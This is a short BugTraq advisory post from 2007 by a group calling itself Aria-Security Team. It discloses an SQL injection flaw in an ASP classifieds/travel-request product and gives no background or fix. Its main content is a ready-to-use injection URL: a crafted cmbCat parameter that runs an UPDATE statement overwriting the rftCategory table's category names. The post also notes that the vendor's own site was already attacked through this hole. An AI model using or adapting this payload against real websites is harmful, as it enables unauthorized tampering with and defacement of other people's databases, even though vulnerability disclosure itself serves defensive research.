BugTraq
Aria-Security.Net Research: Request For Travel Sql Injection Nov 08 2007 02:31AM
Advisory aria-security net, no-reply securityfocus com
Aria-Security Team,

http://Aria-Security.net

-------------------------------

Rapid Classfield SQL Injection

Shout Outs: AurA, imm02tal

Vendor: http://www.lotfian.com/UK/PORTALS.asp

http://target/agencyCatResult.asp?cmbCat='%20UPDATE%20rftCategory%20set%
20Category%20=%20'Aria-Security Team';--

The Vendor's website has been attacked by Emperor Team via this vuln.

Regards,

The-0utl4w

From Aria-Security.Net

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus